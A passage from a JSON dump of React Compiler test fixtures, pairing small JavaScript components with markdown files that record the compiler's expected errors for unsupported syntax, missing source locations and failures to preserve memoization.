    "content": "// @validateNoJSXInTryStatements @outputMode:\"lint\"\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  let el;\n  try {\n    let value;\n    try {\n      value = identity(props.foo);\n    } catch {\n      el = <div value={value} />;\n    }\n  } finally {\n    console.log(el);\n  }\n  return el;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-invalid-jsx-in-try-with-finally.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoJSXInTryStatements @outputMode:\"lint\"\nfunction Component(props) {\n  let el;\n  try {\n    el = <div />;\n  } finally {\n    console.log(el);\n  }\n  return el;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: (BuildHIR::lowerStatement) Handle TryStatement without a catch clause\n\nerror.todo-invalid-jsx-in-try-with-finally.ts:4:2\n   2 | function Component(props) {\n   3 |   let el;\n>  4 |   try {\n     |   ^^^^^\n>  5 |     el = <div />;\n     | ^^^^^^^^^^^^^^^^^\n>  6 |   } finally {\n     | ^^^^^^^^^^^^^^^^^\n>  7 |     console.log(el);\n     | ^^^^^^^^^^^^^^^^^\n>  8 |   }\n     | ^^^^ (BuildHIR::lowerStatement) Handle TryStatement without a catch clause\n   9 |   return el;\n  10 | }\n  11 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-invalid-jsx-in-try-with-finally.js",
    "content": "// @validateNoJSXInTryStatements @outputMode:\"lint\"\nfunction Component(props) {\n  let el;\n  try {\n    el = <div />;\n  } finally {\n    console.log(el);\n  }\n  return el;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-kitchensink.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo([a, b], {c, d, e = 'e'}, f = 'f', ...args) {\n  let i = 0;\n  var x = [];\n\n  class Bar {\n    #secretSauce = 42;\n    constructor() {\n      console.log(this.#secretSauce);\n    }\n  }\n\n  const g = {b() {}, c: () => {}};\n  const {z, aa = 'aa'} = useCustom();\n\n  <Button haha={1}></Button>;\n  <Button>{/** empty */}</Button>;\n\n  const j = function bar([quz, qux], ...args) {};\n\n  for (; i < 3; i += 1) {\n    x.push(i);\n  }\n  for (; i < 3; ) {\n    break;\n  }\n  for (;;) {\n    break;\n  }\n\n  graphql`\n    ${g}\n  `;\n\n  graphql`\\\\t\\n`;\n\n  for (c of [1, 2]) {\n  }\n  for ([v] of [[1], [2]]) {\n  }\n  for ({v} of [{v: 1}, {v: 2}]) {\n  }\n\n  for (let x in {a: 1}) {\n  }\n\n  let updateIdentifier = 0;\n  --updateIdentifier;\n  ++updateIdentifier;\n  updateIdentifier.y++;\n  updateIdentifier.y--;\n\n  switch (i) {\n    case 1 + 1: {\n    }\n    case foo(): {\n    }\n    case x.y: {\n    }\n    default: {\n    }\n  }\n\n  function component(a) {\n    // Add support for function declarations once we support `var` hoisting.\n    function t() {}\n    t();\n  }\n}\n\nlet moduleLocal = false;\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nInvariant: Expected a variable declaration\n\nGot ExpressionStatement.\n\nerror.todo-kitchensink.ts:20:2\n  18 |   const j = function bar([quz, qux], ...args) {};\n  19 |\n> 20 |   for (; i < 3; i += 1) {\n     |   ^^^^^^^^^^^^^^^^^^^^^^^\n> 21 |     x.push(i);\n     | ^^^^^^^^^^^^^^\n> 22 |   }\n     | ^^^^ Expected a variable declaration\n  23 |   for (; i < 3; ) {\n  24 |     break;\n  25 |   }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-kitchensink.js",
    "content": "function foo([a, b], {c, d, e = 'e'}, f = 'f', ...args) {\n  let i = 0;\n  var x = [];\n\n  class Bar {\n    #secretSauce = 42;\n    constructor() {\n      console.log(this.#secretSauce);\n    }\n  }\n\n  const g = {b() {}, c: () => {}};\n  const {z, aa = 'aa'} = useCustom();\n\n  <Button haha={1}></Button>;\n  <Button>{/** empty */}</Button>;\n\n  const j = function bar([quz, qux], ...args) {};\n\n  for (; i < 3; i += 1) {\n    x.push(i);\n  }\n  for (; i < 3; ) {\n    break;\n  }\n  for (;;) {\n    break;\n  }\n\n  graphql`\n    ${g}\n  `;\n\n  graphql`\\\\t\\n`;\n\n  for (c of [1, 2]) {\n  }\n  for ([v] of [[1], [2]]) {\n  }\n  for ({v} of [{v: 1}, {v: 2}]) {\n  }\n\n  for (let x in {a: 1}) {\n  }\n\n  let updateIdentifier = 0;\n  --updateIdentifier;\n  ++updateIdentifier;\n  updateIdentifier.y++;\n  updateIdentifier.y--;\n\n  switch (i) {\n    case 1 + 1: {\n    }\n    case foo(): {\n    }\n    case x.y: {\n    }\n    default: {\n    }\n  }\n\n  function component(a) {\n    // Add support for function declarations once we support `var` hoisting.\n    function t() {}\n    t();\n  }\n}\n\nlet moduleLocal = false;\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-missing-source-locations.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateSourceLocations\nimport {useEffect, useCallback} from 'react';\n\nfunction Component({prop1, prop2}) {\n  const x = prop1 + prop2;\n  const y = x * 2;\n  const arr = [x, y];\n  const obj = {x, y};\n  let destA, destB;\n  if (y > 5) {\n    [destA, destB] = arr;\n  }\n\n  const [a, b] = arr;\n  const {x: c, y: d} = obj;\n  let sound;\n\n  if (y > 10) {\n    sound = 'woof';\n  } else {\n    sound = 'meow';\n  }\n\n  useEffect(() => {\n    if (a > 10) {\n      console.log(a);\n      console.log(sound);\n      console.log(destA, destB);\n    }\n  }, [a, sound, destA, destB]);\n\n  const foo = useCallback(() => {\n    return a + b;\n  }, [a, b]);\n\n  function bar() {\n    return (c + d) * 2;\n  }\n\n  console.log('Hello, world!');\n\n  return [y, foo, bar];\n}\n\n```\n\n\n## Error\n\n```\nFound 22 errors:\n\nTodo: Important source location missing in generated code\n\nSource location for Identifier is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:4:9\n  2 | import {useEffect, useCallback} from 'react';\n  3 |\n> 4 | function Component({prop1, prop2}) {\n    |          ^^^^^^^^^\n  5 |   const x = prop1 + prop2;\n  6 |   const y = x * 2;\n  7 |   const arr = [x, y];\n\nTodo: Important source location missing in generated code\n\nSource location for VariableDeclaration is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:9:2\n   7 |   const arr = [x, y];\n   8 |   const obj = {x, y};\n>  9 |   let destA, destB;\n     |   ^^^^^^^^^^^^^^^^^\n  10 |   if (y > 5) {\n  11 |     [destA, destB] = arr;\n  12 |   }\n\nTodo: Important source location missing in generated code\n\nSource location for ExpressionStatement is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:11:4\n   9 |   let destA, destB;\n  10 |   if (y > 5) {\n> 11 |     [destA, destB] = arr;\n     |     ^^^^^^^^^^^^^^^^^^^^^\n  12 |   }\n  13 |\n  14 |   const [a, b] = arr;\n\nTodo: Important source location missing in generated code\n\nSource location for Identifier is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:15:9\n  13 |\n  14 |   const [a, b] = arr;\n> 15 |   const {x: c, y: d} = obj;\n     |          ^\n  16 |   let sound;\n  17 |\n  18 |   if (y > 10) {\n\nTodo: Important source location missing in generated code\n\nSource location for Identifier is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:15:15\n  13 |\n  14 |   const [a, b] = arr;\n> 15 |   const {x: c, y: d} = obj;\n     |                ^\n  16 |   let sound;\n  17 |\n  18 |   if (y > 10) {\n\nTodo: Important source location missing in generated code\n\nSource location for VariableDeclaration is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:16:2\n  14 |   const [a, b] = arr;\n  15 |   const {x: c, y: d} = obj;\n> 16 |   let sound;\n     |   ^^^^^^^^^^\n  17 |\n  18 |   if (y > 10) {\n  19 |     sound = 'woof';\n\nTodo: Important source location missing in generated code\n\nSource location for ExpressionStatement is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:19:4\n  17 |\n  18 |   if (y > 10) {\n> 19 |     sound = 'woof';\n     |     ^^^^^^^^^^^^^^^\n  20 |   } else {\n  21 |     sound = 'meow';\n  22 |   }\n\nTodo: Important source location has wrong node type in generated code\n\nSource location for Identifier exists in the generated output but with wrong node type(s): ExpressionStatement. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:19:4\n  17 |\n  18 |   if (y > 10) {\n> 19 |     sound = 'woof';\n     |     ^^^^^\n  20 |   } else {\n  21 |     sound = 'meow';\n  22 |   }\n\nTodo: Important source location missing in generated code\n\nSource location for ExpressionStatement is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:21:4\n  19 |     sound = 'woof';\n  20 |   } else {\n> 21 |     sound = 'meow';\n     |     ^^^^^^^^^^^^^^^\n  22 |   }\n  23 |\n  24 |   useEffect(() => {\n\nTodo: Important source location has wrong node type in generated code\n\nSource location for Identifier exists in the generated output but with wrong node type(s): ExpressionStatement. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:21:4\n  19 |     sound = 'woof';\n  20 |   } else {\n> 21 |     sound = 'meow';\n     |     ^^^^^\n  22 |   }\n  23 |\n  24 |   useEffect(() => {\n\nTodo: Important source location missing in generated code\n\nSource location for ExpressionStatement is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:24:2\n  22 |   }\n  23 |\n> 24 |   useEffect(() => {\n     |   ^^^^^^^^^^^^^^^^^\n> 25 |     if (a > 10) {\n     | ^^^^^^^^^^^^^^^^^\n> 26 |       console.log(a);\n     | ^^^^^^^^^^^^^^^^^\n> 27 |       console.log(sound);\n     | ^^^^^^^^^^^^^^^^^\n> 28 |       console.log(destA, destB);\n     | ^^^^^^^^^^^^^^^^^\n> 29 |     }\n     | ^^^^^^^^^^^^^^^^^\n> 30 |   }, [a, sound, destA, destB]);\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  31 |\n  32 |   const foo = useCallback(() => {\n  33 |     return a + b;\n\nTodo: Important source location missing in generated code\n\nSource location for ExpressionStatement is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:26:6\n  24 |   useEffect(() => {\n  25 |     if (a > 10) {\n> 26 |       console.log(a);\n     |       ^^^^^^^^^^^^^^^\n  27 |       console.log(sound);\n  28 |       console.log(destA, destB);\n  29 |     }\n\nTodo: Important source location missing in generated code\n\nSource location for Identifier is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:26:14\n  24 |   useEffect(() => {\n  25 |     if (a > 10) {\n> 26 |       console.log(a);\n     |               ^^^\n  27 |       console.log(sound);\n  28 |       console.log(destA, destB);\n  29 |     }\n\nTodo: Important source location missing in generated code\n\nSource location for ExpressionStatement is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:27:6\n  25 |     if (a > 10) {\n  26 |       console.log(a);\n> 27 |       console.log(sound);\n     |       ^^^^^^^^^^^^^^^^^^^\n  28 |       console.log(destA, destB);\n  29 |     }\n  30 |   }, [a, sound, destA, destB]);\n\nTodo: Important source location missing in generated code\n\nSource location for Identifier is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:27:14\n  25 |     if (a > 10) {\n  26 |       console.log(a);\n> 27 |       console.log(sound);\n     |               ^^^\n  28 |       console.log(destA, destB);\n  29 |     }\n  30 |   }, [a, sound, destA, destB]);\n\nTodo: Important source location missing in generated code\n\nSource location for ExpressionStatement is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:28:6\n  26 |       console.log(a);\n  27 |       console.log(sound);\n> 28 |       console.log(destA, destB);\n     |       ^^^^^^^^^^^^^^^^^^^^^^^^^^\n  29 |     }\n  30 |   }, [a, sound, destA, destB]);\n  31 |\n\nTodo: Important source location missing in generated code\n\nSource location for Identifier is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:28:14\n  26 |       console.log(a);\n  27 |       console.log(sound);\n> 28 |       console.log(destA, destB);\n     |               ^^^\n  29 |     }\n  30 |   }, [a, sound, destA, destB]);\n  31 |\n\nTodo: Important source location missing in generated code\n\nSource location for Identifier is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:32:14\n  30 |   }, [a, sound, destA, destB]);\n  31 |\n> 32 |   const foo = useCallback(() => {\n     |               ^^^^^^^^^^^\n  33 |     return a + b;\n  34 |   }, [a, b]);\n  35 |\n\nTodo: Important source location missing in generated code\n\nSource location for Identifier is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:34:6\n  32 |   const foo = useCallback(() => {\n  33 |     return a + b;\n> 34 |   }, [a, b]);\n     |       ^\n  35 |\n  36 |   function bar() {\n  37 |     return (c + d) * 2;\n\nTodo: Important source location missing in generated code\n\nSource location for Identifier is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:34:9\n  32 |   const foo = useCallback(() => {\n  33 |     return a + b;\n> 34 |   }, [a, b]);\n     |          ^\n  35 |\n  36 |   function bar() {\n  37 |     return (c + d) * 2;\n\nTodo: Important source location missing in generated code\n\nSource location for ExpressionStatement is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:40:2\n  38 |   }\n  39 |\n> 40 |   console.log('Hello, world!');\n     |   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  41 |\n  42 |   return [y, foo, bar];\n  43 | }\n\nTodo: Important source location missing in generated code\n\nSource location for Identifier is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..\n\nerror.todo-missing-source-locations.ts:40:10\n  38 |   }\n  39 |\n> 40 |   console.log('Hello, world!');\n     |           ^^^\n  41 |\n  42 |   return [y, foo, bar];\n  43 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-missing-source-locations.js",
    "content": "// @validateSourceLocations\nimport {useEffect, useCallback} from 'react';\n\nfunction Component({prop1, prop2}) {\n  const x = prop1 + prop2;\n  const y = x * 2;\n  const arr = [x, y];\n  const obj = {x, y};\n  let destA, destB;\n  if (y > 5) {\n    [destA, destB] = arr;\n  }\n\n  const [a, b] = arr;\n  const {x: c, y: d} = obj;\n  let sound;\n\n  if (y > 10) {\n    sound = 'woof';\n  } else {\n    sound = 'meow';\n  }\n\n  useEffect(() => {\n    if (a > 10) {\n      console.log(a);\n      console.log(sound);\n      console.log(destA, destB);\n    }\n  }, [a, sound, destA, destB]);\n\n  const foo = useCallback(() => {\n    return a + b;\n  }, [a, b]);\n\n  function bar() {\n    return (c + d) * 2;\n  }\n\n  console.log('Hello, world!');\n\n  return [y, foo, bar];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-nested-method-calls-lower-property-load-into-temporary.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeArray} from 'shared-runtime';\n\nconst other = [0, 1];\nfunction Component({}) {\n  const items = makeArray(0, 1, 2, null, 4, false, 6);\n  const max = Math.max(2, items.push(5), ...other);\n  return max;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nInvariant: [Codegen] Internal error: MethodCall::property must be an unpromoted + unmemoized MemberExpression\n\nerror.todo-nested-method-calls-lower-property-load-into-temporary.ts:6:14\n  4 | function Component({}) {\n  5 |   const items = makeArray(0, 1, 2, null, 4, false, 6);\n> 6 |   const max = Math.max(2, items.push(5), ...other);\n    |               ^^^^^^^^ Got: 'Identifier'\n  7 |   return max;\n  8 | }\n  9 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-nested-method-calls-lower-property-load-into-temporary.js",
    "content": "import {makeArray} from 'shared-runtime';\n\nconst other = [0, 1];\nfunction Component({}) {\n  const items = makeArray(0, 1, 2, null, 4, false, 6);\n  const max = Math.max(2, items.push(5), ...other);\n  return max;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-new-target-meta-property.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction foo() {\n  const nt = new.target;\n  return <Stringify value={nt} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: (BuildHIR::lowerExpression) Handle MetaProperty expressions other than import.meta\n\nerror.todo-new-target-meta-property.ts:4:13\n  2 |\n  3 | function foo() {\n> 4 |   const nt = new.target;\n    |              ^^^^^^^^^^ (BuildHIR::lowerExpression) Handle MetaProperty expressions other than import.meta\n  5 |   return <Stringify value={nt} />;\n  6 | }\n  7 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-new-target-meta-property.js",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction foo() {\n  const nt = new.target;\n  return <Stringify value={nt} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-get-syntax.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component({value}) {\n  const object = {\n    get value() {\n      return value;\n    },\n  };\n  return <div>{object.value}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [{value: 0}],\n  sequentialRenders: [{value: 1}, {value: 2}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: (BuildHIR::lowerExpression) Handle get functions in ObjectExpression\n\nerror.todo-object-expression-get-syntax.ts:3:4\n  1 | function Component({value}) {\n  2 |   const object = {\n> 3 |     get value() {\n    |     ^^^^^^^^^^^^^\n> 4 |       return value;\n    | ^^^^^^^^^^^^^^^^^^^\n> 5 |     },\n    | ^^^^^^ (BuildHIR::lowerExpression) Handle get functions in ObjectExpression\n  6 |   };\n  7 |   return <div>{object.value}</div>;\n  8 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-get-syntax.js",
    "content": "function Component({value}) {\n  const object = {\n    get value() {\n      return value;\n    },\n  };\n  return <div>{object.value}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [{value: 0}],\n  sequentialRenders: [{value: 1}, {value: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-set-syntax.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let value;\n  const object = {\n    set value(v) {\n      value = v;\n    },\n  };\n  object.value = props.value;\n  return <div>{value}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [{value: 0}],\n  sequentialRenders: [{value: 1}, {value: 2}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: (BuildHIR::lowerExpression) Handle set functions in ObjectExpression\n\nerror.todo-object-expression-set-syntax.ts:4:4\n  2 |   let value;\n  3 |   const object = {\n> 4 |     set value(v) {\n    |     ^^^^^^^^^^^^^^\n> 5 |       value = v;\n    | ^^^^^^^^^^^^^^^^\n> 6 |     },\n    | ^^^^^^ (BuildHIR::lowerExpression) Handle set functions in ObjectExpression\n  7 |   };\n  8 |   object.value = props.value;\n  9 |   return <div>{value}</div>;\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-set-syntax.js",
    "content": "function Component(props) {\n  let value;\n  const object = {\n    set value(v) {\n      value = v;\n    },\n  };\n  object.value = props.value;\n  return <div>{value}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [{value: 0}],\n  sequentialRenders: [{value: 1}, {value: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-preserve-memo-deps-mixed-optional-nonoptional-property-chain.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\n\nimport {useMemo} from 'react';\nimport {identity, ValidateMemoization} from 'shared-runtime';\n\nfunction Component({x}) {\n  const object = useMemo(() => {\n    return identity({\n      callback: () => {\n        // This is a bug in our dependency inference: we stop capturing dependencies\n        // after x.a.b?.c. But what this dependency is telling us is that if `x.a.b`\n        // was non-nullish, then we can access `.c.d?.e`. Thus we should take the\n        // full property chain, exactly as-is with optionals/non-optionals, as a\n        // dependency\n        return identity(x.a.b?.c.d?.e);\n      },\n    });\n  }, [x.a.b?.c.d?.e]);\n  const result = useMemo(() => {\n    return [object.callback()];\n  }, [object]);\n  return <Inner x={x} result={result} />;\n}\n\nfunction Inner({x, result}) {\n  'use no memo';\n  return <ValidateMemoization inputs={[x.y.z]} output={result} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: {y: {z: 42}}}],\n  sequentialRenders: [\n    {x: {y: {z: 42}}},\n    {x: {y: {z: 42}}},\n    {x: {y: {z: 3.14}}},\n    {x: {y: {z: 42}}},\n    {x: {y: {z: 3.14}}},\n    {x: {y: {z: 42}}},\n  ],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `x.a.b?.c`, but the source dependencies were [x.a.b?.c.d?.e]. Inferred less specific property than source.\n\nerror.todo-preserve-memo-deps-mixed-optional-nonoptional-property-chain.ts:7:25\n   5 |\n   6 | function Component({x}) {\n>  7 |   const object = useMemo(() => {\n     |                          ^^^^^^^\n>  8 |     return identity({\n     | ^^^^^^^^^^^^^^^^^^^^^\n>  9 |       callback: () => {\n     …\n     | ^^^^^^^^^^^^^^^^^^^^^\n> 17 |     });\n     | ^^^^^^^^^^^^^^^^^^^^^\n> 18 |   }, [x.a.b?.c.d?.e]);\n     | ^^^^ Could not preserve existing manual memoization\n  19 |   const result = useMemo(() => {\n  20 |     return [object.callback()];\n  21 |   }, [object]);\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-preserve-memo-deps-mixed-optional-nonoptional-property-chain.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\n\nimport {useMemo} from 'react';\nimport {identity, ValidateMemoization} from 'shared-runtime';\n\nfunction Component({x}) {\n  const object = useMemo(() => {\n    return identity({\n      callback: () => {\n        // This is a bug in our dependency inference: we stop capturing dependencies\n        // after x.a.b?.c. But what this dependency is telling us is that if `x.a.b`\n        // was non-nullish, then we can access `.c.d?.e`. Thus we should take the\n        // full property chain, exactly as-is with optionals/non-optionals, as a\n        // dependency\n        return identity(x.a.b?.c.d?.e);\n      },\n    });\n  }, [x.a.b?.c.d?.e]);\n  const result = useMemo(() => {\n    return [object.callback()];\n  }, [object]);\n  return <Inner x={x} result={result} />;\n}\n\nfunction Inner({x, result}) {\n  'use no memo';\n  return <ValidateMemoization inputs={[x.y.z]} output={result} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: {y: {z: 42}}}],\n  sequentialRenders: [\n    {x: {y: {z: 42}}},\n    {x: {y: {z: 42}}},\n    {x: {y: {z: 3.14}}},\n    {x: {y: {z: 42}}},\n    {x: {y: {z: 3.14}}},\n    {x: {y: {z: 42}}},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reassign-const.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction Component({foo}) {\n  let bar = foo.bar;\n  return (\n    <Stringify\n      handler={() => {\n        foo = true;\n      }}\n    />\n  );\n}\n\n```\n\n\n## Error\n\n```\nFound 3 errors:\n\nTodo: Support destructuring of context variables\n\nerror.todo-reassign-const.ts:3:20\n  1 | import {Stringify} from 'shared-runtime';\n  2 |\n> 3 | function Component({foo}) {\n    |                     ^^^\n  4 |   let bar = foo.bar;\n  5 |   return (\n  6 |     <Stringify\n\nTodo: Support destructuring of context variables\n\nerror.todo-reassign-const.ts:3:20\n  1 | import {Stringify} from 'shared-runtime';\n  2 |\n> 3 | function Component({foo}) {\n    |                     ^^^\n  4 |   let bar = foo.bar;\n  5 |   return (\n  6 |     <Stringify\n\nError: This value cannot be modified\n\nModifying component props or hook arguments is not allowed. Consider using a local variable instead.\n\nerror.todo-reassign-const.ts:8:8\n   6 |     <Stringify\n   7 |       handler={() => {\n>  8 |         foo = true;\n     |         ^^^ `foo` cannot be modified\n   9 |       }}\n  10 |     />\n  11 |   );\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reassign-const.js",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction Component({foo}) {\n  let bar = foo.bar;\n  return (\n    <Stringify\n      handler={() => {\n        foo = true;\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-missed-memoization-from-capture-in-invoked-function-inferred-as-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {useMemo} from 'react';\nimport {logValue, useFragment, useHook, typedLog} from 'shared-runtime';\n\ncomponent Component() {\n  const data = useFragment();\n\n  const getIsEnabled = () => {\n    if (data != null) {\n      return true;\n    } else {\n      return {};\n    }\n  };\n\n  // We infer that getIsEnabled returns a mutable value, such that\n  // isEnabled is mutable\n  const isEnabled = useMemo(() => getIsEnabled(), [getIsEnabled]);\n\n  // We then infer getLoggingData as capturing that mutable value,\n  // so any calls to this function are then inferred as extending\n  // the mutable range of isEnabled\n  const getLoggingData = () => {\n    return {\n      isEnabled,\n    };\n  };\n\n  // The call here is then inferred as an indirect mutation of isEnabled\n  useHook(getLoggingData());\n\n  return <div onClick={() => typedLog(getLoggingData())} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.\n\n  16 |   // We infer that getIsEnabled returns a mutable value, such that\n  17 |   // isEnabled is mutable\n> 18 |   const isEnabled = useMemo(() => getIsEnabled(), [getIsEnabled]);\n     |                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Could not preserve existing memoization\n  19 |\n  20 |   // We then infer getLoggingData as capturing that mutable value,\n  21 |   // so any calls to this function are then inferred as extending\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-missed-memoization-from-capture-in-invoked-function-inferred-as-mutation.js",
    "content": "// @flow @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {useMemo} from 'react';\nimport {logValue, useFragment, useHook, typedLog} from 'shared-runtime';\n\ncomponent Component() {\n  const data = useFragment();\n\n  const getIsEnabled = () => {\n    if (data != null) {\n      return true;\n    } else {\n      return {};\n    }\n  };\n\n  // We infer that getIsEnabled returns a mutable value, such that\n  // isEnabled is mutable\n  const isEnabled = useMemo(() => getIsEnabled(), [getIsEnabled]);\n\n  // We then infer getLoggingData as capturing that mutable value,\n  // so any calls to this function are then inferred as extending\n  // the mutable range of isEnabled\n  const getLoggingData = () => {\n    return {\n      isEnabled,\n    };\n  };\n\n  // The call here is then inferred as an indirect mutation of isEnabled\n  useHook(getLoggingData());\n\n  return <div onClick={() => typedLog(getLoggingData())} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-repro-missed-memoization-from-inferred-mutation-in-logger.expect.md",
